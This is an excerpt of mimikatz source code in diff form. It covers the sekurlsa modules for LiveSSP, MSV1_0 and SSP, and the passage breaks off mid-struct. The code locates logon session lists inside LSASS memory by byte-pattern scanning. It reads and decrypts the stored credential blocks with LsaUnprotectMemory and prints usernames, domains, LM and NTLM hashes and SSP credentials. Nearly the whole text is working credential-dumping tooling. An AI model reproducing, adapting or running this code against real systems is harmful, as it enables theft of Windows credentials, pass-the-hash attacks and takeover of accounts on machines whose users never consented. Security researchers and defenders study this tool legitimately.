bool mod_mimikatz_sekurlsa_livessp::searchLiveGlobalLogonSessionList()
|
||||
{
|
||||
#ifdef _M_X64
|
||||
BYTE PTRN_WALL_LiveUpdatePasswordForLogonSessions[] = {0x48, 0x83, 0x65, 0xdf, 0x00, 0x48, 0x83, 0x65, 0xef, 0x00, 0x48, 0x83, 0x65, 0xe7, 0x00};
|
||||
#elif defined _M_IX86
|
||||
BYTE PTRN_WALL_LiveUpdatePasswordForLogonSessions[] = {0x89, 0x5d, 0xdc, 0x89, 0x5d, 0xe4, 0x89, 0x5d, 0xe0};
|
||||
#endif
|
||||
LONG OFFS_WALL_LiveUpdatePasswordForLogonSessions = -(5 + 4);
|
||||
|
||||
if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModLIVESSP && !LiveGlobalLogonSessionList)
|
||||
{
|
||||
|
||||
PBYTE *pointeur = reinterpret_cast<PBYTE *>(&LiveGlobalLogonSessionList);
|
||||
if(HMODULE monModule = LoadLibrary(L"livessp"))
|
||||
{
|
||||
MODULEINFO mesInfos;
|
||||
if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO)))
|
||||
{
|
||||
mod_memory::genericPatternSearch(pointeur, L"livessp", PTRN_WALL_LiveUpdatePasswordForLogonSessions, sizeof(PTRN_WALL_LiveUpdatePasswordForLogonSessions), OFFS_WALL_LiveUpdatePasswordForLogonSessions);
|
||||
*pointeur += pModLIVESSP->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
|
||||
}
|
||||
FreeLibrary(monModule);
|
||||
}
|
||||
}
|
||||
return (pModLIVESSP && LiveGlobalLogonSessionList);
|
||||
}
|
||||
|
||||
bool WINAPI mod_mimikatz_sekurlsa_livessp::getLiveSSPLogonData(__in PLUID logId, __in bool justSecurity)
|
||||
{
|
||||
if(searchLiveGlobalLogonSessionList())
|
||||
{
|
||||
PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL;
|
||||
BYTE * monBuffP = new BYTE[sizeof(KIWI_LIVESSP_LIST_ENTRY)], * monBuffC = new BYTE[sizeof(KIWI_LIVESSP_PRIMARY_CREDENTIAL)];
|
||||
if(PKIWI_LIVESSP_LIST_ENTRY pLogSession = reinterpret_cast<PKIWI_LIVESSP_LIST_ENTRY>(mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast<PLIST_ENTRY>(LiveGlobalLogonSessionList), FIELD_OFFSET(KIWI_LIVESSP_LIST_ENTRY, LocallyUniqueIdentifier), logId)))
|
||||
{
|
||||
if(mod_memory::readMemory(pLogSession, monBuffP, sizeof(KIWI_LIVESSP_LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS))
|
||||
{
|
||||
pLogSession = reinterpret_cast<PKIWI_LIVESSP_LIST_ENTRY>(monBuffP);
|
||||
if(pLogSession->suppCreds)
|
||||
{
|
||||
if(mod_memory::readMemory(pLogSession->suppCreds, monBuffC, sizeof(KIWI_LIVESSP_PRIMARY_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS))
|
||||
mesCreds = &(reinterpret_cast<PKIWI_LIVESSP_PRIMARY_CREDENTIAL>(monBuffC)->credentials);
|
||||
}
|
||||
else wcout << L"n.s. (SuppCred KO) / ";
|
||||
}
|
||||
}
|
||||
mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity, true);
|
||||
delete [] monBuffC, monBuffP;
|
||||
}
|
||||
else wcout << L"n.a. (livessp KO)";
|
||||
return true;
|
||||
}
|
@ -0,0 +1,44 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "../mod_mimikatz_sekurlsa.h"
|
||||
|
||||
class mod_mimikatz_sekurlsa_livessp {
|
||||
|
||||
private:
|
||||
typedef struct _KIWI_LIVESSP_PRIMARY_CREDENTIAL
|
||||
{
|
||||
DWORD isSupp; // 88h
|
||||
DWORD unk0;
|
||||
KIWI_GENERIC_PRIMARY_CREDENTIAL credentials;
|
||||
} KIWI_LIVESSP_PRIMARY_CREDENTIAL, *PKIWI_LIVESSP_PRIMARY_CREDENTIAL;
|
||||
|
||||
typedef struct _KIWI_LIVESSP_LIST_ENTRY
|
||||
{
|
||||
struct _KIWI_LIVESSP_LIST_ENTRY *Flink;
|
||||
struct _KIWI_LIVESSP_LIST_ENTRY *Blink;
|
||||
PVOID unk0; // 1
|
||||
PVOID unk1; // 0FFFFFFFFh
|
||||
PVOID unk2; // 0FFFFFFFFh
|
||||
PVOID unk3; // 0
|
||||
DWORD unk4; // 0
|
||||
DWORD unk5; // 0
|
||||
PVOID unk6; // 20007D0h
|
||||
LUID LocallyUniqueIdentifier;
|
||||
LSA_UNICODE_STRING UserName;
|
||||
PVOID unk7; // 2000010Dh
|
||||
PKIWI_LIVESSP_PRIMARY_CREDENTIAL suppCreds;
|
||||
} KIWI_LIVESSP_LIST_ENTRY, *PKIWI_LIVESSP_LIST_ENTRY;
|
||||
|
||||
static PKIWI_LIVESSP_LIST_ENTRY LiveGlobalLogonSessionList;
|
||||
static bool searchLiveGlobalLogonSessionList();
|
||||
|
||||
public:
|
||||
static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModLIVESSP;
|
||||
static bool getLiveSSP(vector<wstring> * arguments);
|
||||
static bool WINAPI getLiveSSPLogonData(__in PLUID logId, __in bool justSecurity);
|
||||
};
|
@ -0,0 +1,217 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "msv1_0.h"
|
||||
|
||||
PLIST_ENTRY mod_mimikatz_sekurlsa_msv1_0::LogonSessionList = NULL;
|
||||
PULONG mod_mimikatz_sekurlsa_msv1_0::LogonSessionListCount = NULL;
|
||||
|
||||
bool mod_mimikatz_sekurlsa_msv1_0::getMSV(vector<wstring> * arguments)
|
||||
{
|
||||
vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider;
|
||||
monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getMSVLogonData, wstring(L"msv1_0")));
|
||||
return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa_msv1_0::searchLogonSessionList()
|
||||
{
|
||||
#ifdef _M_X64
|
||||
BYTE PTRN_WIN6_LogonSessionList[] = {0x4C, 0x03, 0xD8, 0x49, 0x8B, 0x03, 0x48, 0x89};//, 0x06, 0x4C, 0x89, 0x5E};
|
||||
BYTE PTRN_WIN5_LogonSessionList[] = {0x4C, 0x8B, 0xDF, 0x49, 0xC1, 0xE3, 0x04, 0x48, 0x8B, 0xCB, 0x4C, 0x03, 0xD8};
|
||||
|
||||
LONG OFFS_WALL_LogonSessionList = -sizeof(long);
|
||||
LONG OFFS_WN60_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 8 + 7 + 4 + 4 + 2 + 3 + 3 + sizeof(long));
|
||||
LONG OFFS_WN61_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 8 + 7 + 4 + 4 + 2 + 3 + 2 + sizeof(long));
|
||||
LONG OFFS_WIN5_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 6 + 3 + 8 + 4 + 4 + 2 + 3 + 2 + 2 + sizeof(long));
|
||||
LONG OFFS_WIN8_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 3 + 7 + 7 + 4 + 4 + 2 + 3 + 2 + sizeof(long));
|
||||
#elif defined _M_IX86
|
||||
BYTE PTRN_WNO8_LogonSessionList[] = {0x89, 0x71, 0x04, 0x89, 0x30, 0x8D, 0x04, 0xBD};
|
||||
BYTE PTRN_WIN8_LogonSessionList[] = {0x89, 0x79, 0x04, 0x89, 0x38, 0x8D, 0x04, 0xB5};
|
||||
BYTE PTRN_WN51_LogonSessionList[] = {0xFF, 0x50, 0x10, 0x85, 0xC0, 0x0F, 0x84};
|
||||
|
||||
LONG OFFS_WNO8_LogonSessionList = -(7 + (sizeof(LONG)));
|
||||
LONG OFFS_WIN8_LogonSessionList = -(6 + 3 + 3 + 2 + 2 + (sizeof(LONG)));
|
||||
LONG OFFS_WN51_LogonSessionList = sizeof(PTRN_WN51_LogonSessionList) + 4 + 5 + 1 + 6 + 1;
|
||||
LONG OFFS_WNO8_LogonSessionListCount = OFFS_WNO8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 3 + 1 + sizeof(long));
|
||||
LONG OFFS_WIN5_LogonSessionListCount = OFFS_WNO8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 1 + 3 + 1 + sizeof(long));
|
||||
LONG OFFS_WIN8_LogonSessionListCount = OFFS_WIN8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 3 + 1 + sizeof(long));
|
||||
#endif
|
||||
if(mod_mimikatz_sekurlsa::searchLSASSDatas() && mod_mimikatz_sekurlsa::hLsaSrv && mod_mimikatz_sekurlsa::pModLSASRV && !LogonSessionList)
|
||||
{
|
||||
PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offsetListe = 0, offsetCount = 0;
|
||||
#ifdef _M_X64
|
||||
offsetListe = OFFS_WALL_LogonSessionList;
|
||||
if(mod_system::GLOB_Version.dwMajorVersion < 6)
|
||||
{
|
||||
pattern = PTRN_WIN5_LogonSessionList;
|
||||
taille = sizeof(PTRN_WIN5_LogonSessionList);
|
||||
offsetCount = OFFS_WIN5_LogonSessionListCount;
|
||||
}
|
||||
else
|
||||
{
|
||||
pattern = PTRN_WIN6_LogonSessionList;
|
||||
taille = sizeof(PTRN_WIN6_LogonSessionList);
|
||||
if(mod_system::GLOB_Version.dwBuildNumber < 8000)
|
||||
offsetCount = (mod_system::GLOB_Version.dwMinorVersion < 1) ? OFFS_WN60_LogonSessionListCount : OFFS_WN61_LogonSessionListCount;
|
||||
else
|
||||
offsetCount = OFFS_WIN8_LogonSessionListCount;
|
||||
}
|
||||
#elif defined _M_IX86
|
||||
if(mod_system::GLOB_Version.dwBuildNumber < 8000)
|
||||
{
|
||||
if((mod_system::GLOB_Version.dwMajorVersion == 5) && (mod_system::GLOB_Version.dwMinorVersion == 1))
|
||||
{
|
||||
pattern = PTRN_WN51_LogonSessionList;
|
||||
taille = sizeof(PTRN_WN51_LogonSessionList);
|
||||
offsetListe = OFFS_WN51_LogonSessionList;
|
||||
}
|
||||
else
|
||||
{
|
||||
pattern = PTRN_WNO8_LogonSessionList;
|
||||
taille = sizeof(PTRN_WNO8_LogonSessionList);
|
||||
offsetListe = OFFS_WNO8_LogonSessionList;
|
||||
offsetCount = (mod_system::GLOB_Version.dwMajorVersion < 6) ? OFFS_WIN5_LogonSessionListCount : OFFS_WNO8_LogonSessionListCount;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
pattern = PTRN_WIN8_LogonSessionList;
|
||||
taille = sizeof(PTRN_WIN8_LogonSessionList);
|
||||
offsetListe = OFFS_WIN8_LogonSessionList;
|
||||
offsetCount = OFFS_WIN8_LogonSessionListCount;
|
||||
}
|
||||
#endif
|
||||
MODULEINFO mesInfos;
|
||||
if(GetModuleInformation(GetCurrentProcess(), mod_mimikatz_sekurlsa::hLsaSrv, &mesInfos, sizeof(MODULEINFO)))
|
||||
{
|
||||
pointeur = reinterpret_cast<PBYTE *>(&LogonSessionList);
|
||||
if(mod_memory::genericPatternSearch(pointeur, L"lsasrv", pattern, taille, offsetListe))
|
||||
{
|
||||
*pointeur += mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
|
||||
if(offsetCount)
|
||||
{
|
||||
pointeur = reinterpret_cast<PBYTE *>(&LogonSessionListCount);
|
||||
if(mod_memory::genericPatternSearch(pointeur, L"lsasrv", pattern, taille, offsetCount))
|
||||
*pointeur += mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return (mod_mimikatz_sekurlsa::hLsaSrv && mod_mimikatz_sekurlsa::pModLSASRV && LogonSessionList && (((mod_system::GLOB_Version.dwMajorVersion == 5) && (mod_system::GLOB_Version.dwMinorVersion == 1)) || LogonSessionListCount));
|
||||
}
|
||||
|
||||
bool WINAPI mod_mimikatz_sekurlsa_msv1_0::getMSVLogonData(__in PLUID logId, __in bool justSecurity)
|
||||
{
|
||||
if(searchLogonSessionList())
|
||||
{
|
||||
LONG offsetToLuid, offsetToCredentials;
|
||||
if(mod_system::GLOB_Version.dwMajorVersion < 6)
|
||||
{
|
||||
offsetToLuid = FIELD_OFFSET(KIWI_MSV1_0_LIST_5, LocallyUniqueIdentifier);
|
||||
offsetToCredentials = FIELD_OFFSET(KIWI_MSV1_0_LIST_5, Credentials);
|
||||
}
|
||||
else
|
||||
{
|
||||
offsetToLuid = FIELD_OFFSET(KIWI_MSV1_0_LIST_6, LocallyUniqueIdentifier);
|
||||
offsetToCredentials = FIELD_OFFSET(KIWI_MSV1_0_LIST_6, Credentials);
|
||||
if(mod_system::GLOB_Version.dwBuildNumber >= 8000) // pas encore pris le temps de regarder les structures de 8
|
||||
{
|
||||
#ifdef _M_X64
|
||||
offsetToCredentials += 4*sizeof(PVOID);
|
||||
#elif defined _M_IX86
|
||||
offsetToCredentials += 2*sizeof(PVOID);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
ULONG nbListes = 0;
|
||||
if(LogonSessionListCount)
|
||||
mod_memory::readMemory(LogonSessionListCount, &nbListes, sizeof(nbListes), mod_mimikatz_sekurlsa::hLSASS);
|
||||
else nbListes = 1;
|
||||
|
||||
PLIST_ENTRY pLogSession = NULL;
|
||||
for(ULONG i = 0; i < nbListes; i++)
|
||||
{
|
||||
if(pLogSession = mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast<PLIST_ENTRY>(LogonSessionList + i), offsetToLuid, logId))
|
||||
{
|
||||
BYTE * kiwiMSVListEntry = new BYTE[offsetToCredentials + sizeof(PVOID)];
|
||||
if(mod_memory::readMemory(pLogSession, kiwiMSVListEntry, offsetToCredentials + sizeof(PVOID), mod_mimikatz_sekurlsa::hLSASS))
|
||||
{
|
||||
PVOID monPtr = *reinterpret_cast<PVOID *>(kiwiMSVListEntry + offsetToCredentials);
|
||||
if(monPtr)
|
||||
{
|
||||
BYTE * kiwiMSVCredentials = new BYTE[sizeof(KIWI_MSV1_0_CREDENTIALS)];
|
||||
if(mod_memory::readMemory(monPtr, kiwiMSVCredentials, sizeof(KIWI_MSV1_0_CREDENTIALS), mod_mimikatz_sekurlsa::hLSASS))
|
||||
{
|
||||
PKIWI_MSV1_0_CREDENTIALS mesCreds = reinterpret_cast<PKIWI_MSV1_0_CREDENTIALS>(kiwiMSVCredentials);
|
||||
if(mesCreds->PrimaryCredentials)
|
||||
{
|
||||
BYTE * kiwiMSVPrimaryCredentials = new BYTE[sizeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS)];
|
||||
if(mod_memory::readMemory(mesCreds->PrimaryCredentials, kiwiMSVPrimaryCredentials, sizeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS), mod_mimikatz_sekurlsa::hLSASS))
|
||||
{
|
||||
decryptAndDisplayCredsBlock(&reinterpret_cast<PKIWI_MSV1_0_PRIMARY_CREDENTIALS>(kiwiMSVPrimaryCredentials)->Credentials, justSecurity);
|
||||
} else wcout << L"n.e. (Lecture KIWI_MSV1_0_PRIMARY_CREDENTIALS KO)";
|
||||
delete [] kiwiMSVPrimaryCredentials;
|
||||
|
||||
} else wcout << L"n.s. (PrimaryCredentials KO)";
|
||||
|
||||
}else wcout << L"n.e. (Lecture KIWI_MSV1_0_CREDENTIALS KO)";
|
||||
delete [] kiwiMSVCredentials;
|
||||
|
||||
} else wcout << L"n.s. (Credentials KO)";
|
||||
|
||||
} else wcout << L"n.e. (Lecture KIWI_MSV1_0_LIST KO)";
|
||||
delete [] kiwiMSVListEntry;
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
if(!pLogSession)
|
||||
wcout << L"n.t. (LUID KO)";
|
||||
}
|
||||
else wcout << L"n.a. (msv1_0 KO)";
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa_msv1_0::decryptAndDisplayCredsBlock(LSA_UNICODE_STRING * monBlock, bool justSecurity)
|
||||
{
|
||||
if(monBlock->Length > 0 && monBlock->MaximumLength > 0 && monBlock->Buffer)
|
||||
{
|
||||
BYTE * monBuffer = new BYTE[monBlock->MaximumLength];
|
||||
if(mod_memory::readMemory(monBlock->Buffer, monBuffer, monBlock->MaximumLength, mod_mimikatz_sekurlsa::hLSASS))
|
||||
{
|
||||
mod_mimikatz_sekurlsa::SeckPkgFunctionTable->LsaUnprotectMemory(monBuffer, monBlock->Length);
|
||||
PMSV1_0_PRIMARY_CREDENTIAL mesCreds = reinterpret_cast<PMSV1_0_PRIMARY_CREDENTIAL>(monBuffer);
|
||||
|
||||
NlpMakeRelativeOrAbsoluteString(mesCreds, &mesCreds->UserName, false);
|
||||
NlpMakeRelativeOrAbsoluteString(mesCreds, &mesCreds->LogonDomainName, false);
|
||||
|
||||
wstring lmHash = mod_text::stringOfHex(mesCreds->LmOwfPassword, sizeof(mesCreds->LmOwfPassword));
|
||||
wstring ntHash = mod_text::stringOfHex(mesCreds->NtOwfPassword, sizeof(mesCreds->NtOwfPassword));
|
||||
|
||||
if(justSecurity)
|
||||
wcout << L"lm{ " << lmHash << L" }, ntlm{ " << ntHash << L" }";
|
||||
else
|
||||
{
|
||||
wcout << endl <<
|
||||
L"\t * Utilisateur : " << mod_text::stringOfSTRING(mesCreds->UserName) << endl <<
|
||||
L"\t * Domaine : " << mod_text::stringOfSTRING(mesCreds->LogonDomainName) << endl <<
|
||||
L"\t * Hash LM : " << lmHash << endl <<
|
||||
L"\t * Hash NTLM : " << ntHash;
|
||||
}
|
||||
} else wcout << L"n.e. (Lecture Block Credentials KO)";
|
||||
|
||||
delete [] monBuffer;
|
||||
} else wcout << L"n.s. (Block Credentials KO)";
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void mod_mimikatz_sekurlsa_msv1_0::NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative)
|
||||
{
|
||||
if(String->Buffer)
|
||||
String->Buffer = reinterpret_cast<wchar_t *>(reinterpret_cast<ULONG_PTR>(String->Buffer) + ((relative ? -1 : 1) * reinterpret_cast<ULONG_PTR>(BaseAddress)));
|
||||
}
|
@ -0,0 +1,105 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "../mod_mimikatz_sekurlsa.h"
|
||||
|
||||
class mod_mimikatz_sekurlsa_msv1_0 {
|
||||
|
||||
private:
|
||||
typedef struct _KIWI_MSV1_0_PRIMARY_CREDENTIALS {
|
||||
PVOID unk0; // next?
|
||||
LSA_UNICODE_STRING Primary;
|
||||
LSA_UNICODE_STRING Credentials;
|
||||
} KIWI_MSV1_0_PRIMARY_CREDENTIALS, *PKIWI_MSV1_0_PRIMARY_CREDENTIALS;
|
||||
|
||||
typedef struct _KIWI_MSV1_0_CREDENTIALS {
|
||||
PVOID unk0; // next?
|
||||
DWORD AuthenticationPackageId;
|
||||
PVOID PrimaryCredentials;
|
||||
} KIWI_MSV1_0_CREDENTIALS, *PKIWI_MSV1_0_CREDENTIALS;
|
||||
|
||||
typedef struct _KIWI_MSV1_0_LIST_5 {
|
||||
struct _KIWI_MSV1_0_LIST_5 *Flink;
|
||||
struct _KIWI_MSV1_0_LIST_5 *Blink;
|
||||
LUID LocallyUniqueIdentifier;
|
||||
LSA_UNICODE_STRING UserName;
|
||||
LSA_UNICODE_STRING Domaine;
|
||||
PVOID unk14; // 0
|
||||
PVOID unk15; // 0
|
||||
PVOID unk16; // offset unk_181A080
|
||||
DWORD unk17; // 0Ah
|
||||
DWORD unk18; // 2
|
||||
#ifdef _M_IX86
|
||||
DWORD unk19;
|
||||
#endif
|
||||
DWORD unk20; // 5AC4186Ch
|
||||
DWORD unk21; // 1CD6BFDh
|
||||
LSA_UNICODE_STRING LogonServer;
|
||||
PKIWI_MSV1_0_CREDENTIALS Credentials;
|
||||
PVOID unk22; // 0C14h
|
||||
PVOID unk23; // 0BFCh
|
||||
} KIWI_MSV1_0_LIST_5, *PKIWI_MSV1_0_LIST_5;
|
||||
|
||||
typedef struct _KIWI_MSV1_0_LIST_6 {
|
||||
struct _KIWI_MSV1_0_LIST_6 *Flink;
|
||||
struct _KIWI_MSV1_0_LIST_6 *Blink;
|
||||
PVOID unk0; // unk_18457A0
|
||||
DWORD unk1; // 0FFFFFFFFh
|
||||
DWORD unk2; // 0
|
||||
PVOID unk3; // 0
|
||||
PVOID unk4; // 0
|
||||
PVOID unk5; // 0
|
||||
PVOID unk6; // 0C04h
|
||||
PVOID unk7; // 0
|
||||
PVOID unk8; // 0C08h
|
||||
PVOID unk9; // 0
|
||||
PVOID unk10; // 0
|
||||
DWORD unk11; // 0
|
||||
DWORD unk12; // 0
|
||||
PVOID unk13; // offset off_18456A0
|
||||
LUID LocallyUniqueIdentifier;
|
||||
LUID SecondaryLocallyUniqueIdentifier;
|
||||
LSA_UNICODE_STRING UserName;
|
||||
LSA_UNICODE_STRING Domaine;
|
||||
PVOID unk14; // 0 Windows 8 + 2*PVOID / 4*PVOID!!
|
||||
PVOID unk15; // 0
|
||||
PVOID unk16; // offset unk_181A080
|
||||
DWORD unk17; // 0Ah
|
||||
DWORD unk18; // 2
|
||||
#ifdef _M_IX86
|
||||
DWORD unk19;
|
||||
#endif
|
||||
DWORD unk20; // 5AC4186Ch
|
||||
DWORD unk21; // 1CD6BFDh
|
||||
LSA_UNICODE_STRING LogonServer;
|
||||
PKIWI_MSV1_0_CREDENTIALS Credentials;
|
||||
PVOID unk22; // 0C14h
|
||||
PVOID unk23; // 0BFCh
|
||||
} KIWI_MSV1_0_LIST_6, *PKIWI_MSV1_0_LIST_6;
|
||||
|
||||
typedef struct _MSV1_0_PRIMARY_CREDENTIAL {
|
||||
LSA_UNICODE_STRING LogonDomainName;
|
||||
LSA_UNICODE_STRING UserName;
|
||||
BYTE NtOwfPassword[0x10];
|
||||
BYTE LmOwfPassword[0x10];
|
||||
BOOLEAN NtPasswordPresent;
|
||||
BOOLEAN LmPasswordPresent;
|
||||
wchar_t BuffDomaine[MAX_DOMAIN_LEN];
|
||||
wchar_t BuffUserName[MAX_USERNAME_LEN];
|
||||
} MSV1_0_PRIMARY_CREDENTIAL, *PMSV1_0_PRIMARY_CREDENTIAL;
|
||||
|
||||
static void NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative = true);
|
||||
|
||||
static PLIST_ENTRY LogonSessionList;
|
||||
static PULONG LogonSessionListCount;
|
||||
static bool searchLogonSessionList();
|
||||
|
||||
static bool decryptAndDisplayCredsBlock(LSA_UNICODE_STRING * monBlock, bool justSecurity);
|
||||
public:
|
||||
static bool getMSV(vector<wstring> * arguments);
|
||||
static bool WINAPI getMSVLogonData(__in PLUID logId, __in bool justSecurity);
|
||||
};
|
@ -0,0 +1,91 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "ssp.h"
|
||||
mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_ssp::pModMSV = NULL;
|
||||
mod_mimikatz_sekurlsa_ssp::PKIWI_SSP_CREDENTIAL_LIST_ENTRY mod_mimikatz_sekurlsa_ssp::SspCredentialList = NULL;
|
||||
|
||||
bool mod_mimikatz_sekurlsa_ssp::getSSP(vector<wstring> * arguments)
|
||||
{
|
||||
vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider;
|
||||
monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getSSPLogonData, wstring(L"ssp")));
|
||||
return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa_ssp::searchSSPEntryList()
|
||||
{
|
||||
#ifdef _M_X64
|
||||
BYTE PTRN_WIN5_SspCredentialList[]= {0xc7, 0x43, 0x24, 0x43, 0x72, 0x64, 0x41, 0xff, 0x15};
|
||||
LONG OFFS_WIN5_SspCredentialList = sizeof(PTRN_WIN5_SspCredentialList) + 4 + 3;
|
||||
BYTE PTRN_WIN6_SspCredentialList[]= {0xc7, 0x47, 0x24, 0x43, 0x72, 0x64, 0x41, 0x48, 0x89, 0x47, 0x78, 0xff, 0x15};
|
||||
LONG OFFS_WIN6_SspCredentialList = sizeof(PTRN_WIN6_SspCredentialList) + 4 + 3;
|
||||
#elif defined _M_IX86
|
||||
BYTE PTRN_WALL_SspCredentialList[]= {0x1c, 0x43, 0x72, 0x64, 0x41, 0xff, 0x15};
|
||||
LONG OFFS_WALL_SspCredentialList = sizeof(PTRN_WALL_SspCredentialList) + 4 + 1;
|
||||
#endif
|
||||
|
||||
if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModMSV && !SspCredentialList)
|
||||
{
|
||||
PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0;
|
||||
pointeur= reinterpret_cast<PBYTE *>(&SspCredentialList);
|
||||
|
||||
#ifdef _M_X64
|
||||
if(mod_system::GLOB_Version.dwMajorVersion < 6)
|
||||
{
|
||||
pattern = PTRN_WIN5_SspCredentialList;
|
||||
taille = sizeof(PTRN_WIN5_SspCredentialList);
|
||||
offset = OFFS_WIN5_SspCredentialList;
|
||||
}
|
||||
else
|
||||
{
|
||||
pattern = PTRN_WIN6_SspCredentialList;
|
||||
taille = sizeof(PTRN_WIN6_SspCredentialList);
|
||||
offset = OFFS_WIN6_SspCredentialList;
|
||||
}
|
||||
#elif defined _M_IX86
|
||||
pattern = PTRN_WALL_SspCredentialList;
|
||||
taille = sizeof(PTRN_WALL_SspCredentialList);
|
||||
offset = OFFS_WALL_SspCredentialList;
|
||||
#endif
|
||||
if(HMODULE monModule = LoadLibrary(L"msv1_0"))
|
||||
{
|
||||
MODULEINFO mesInfos;
|
||||
if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO)))
|
||||
{
|
||||
mod_memory::genericPatternSearch(pointeur, L"msv1_0", pattern, taille, offset);
|
||||
*pointeur += pModMSV->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
|
||||
}
|
||||
FreeLibrary(monModule);
|
||||
}
|
||||
}
|
||||
return (SspCredentialList != NULL);
|
||||
}
|
||||
|
||||
bool WINAPI mod_mimikatz_sekurlsa_ssp::getSSPLogonData(__in PLUID logId, __in bool justSecurity)
|
||||
{
|
||||
if(searchSSPEntryList())
|
||||
{
|
||||
KIWI_SSP_CREDENTIAL_LIST_ENTRY mesCredentials;
|
||||
DWORD monNb = 0;
|
||||
if(mod_memory::readMemory(SspCredentialList, &mesCredentials, sizeof(LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS))
|
||||
{
|
||||
while(mesCredentials.Flink != SspCredentialList)
|
||||
{
|
||||
if(mod_memory::readMemory(mesCredentials.Flink, &mesCredentials, sizeof(KIWI_SSP_CREDENTIAL_LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS))
|
||||
{
|
||||
if(RtlEqualLuid(logId, &(mesCredentials.LogonId)))
|
||||
{
|
||||
mod_mimikatz_sekurlsa::genericCredsToStream(&mesCredentials.credentials, justSecurity, true, &monNb);
|
||||
monNb++;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else wcout << L"n.a. (SSP KO)";
|
||||
|
||||
return true;
|
||||
}
|
@ -0,0 +1,32 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "../mod_mimikatz_sekurlsa.h"
|
||||
|
||||
class mod_mimikatz_sekurlsa_ssp {
|
||||
|
||||
private:
|
||||
typedef struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY {
|
||||
struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY *Flink;
|
||||
struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY *Blink;
|
||||
ULONG References;
|
||||
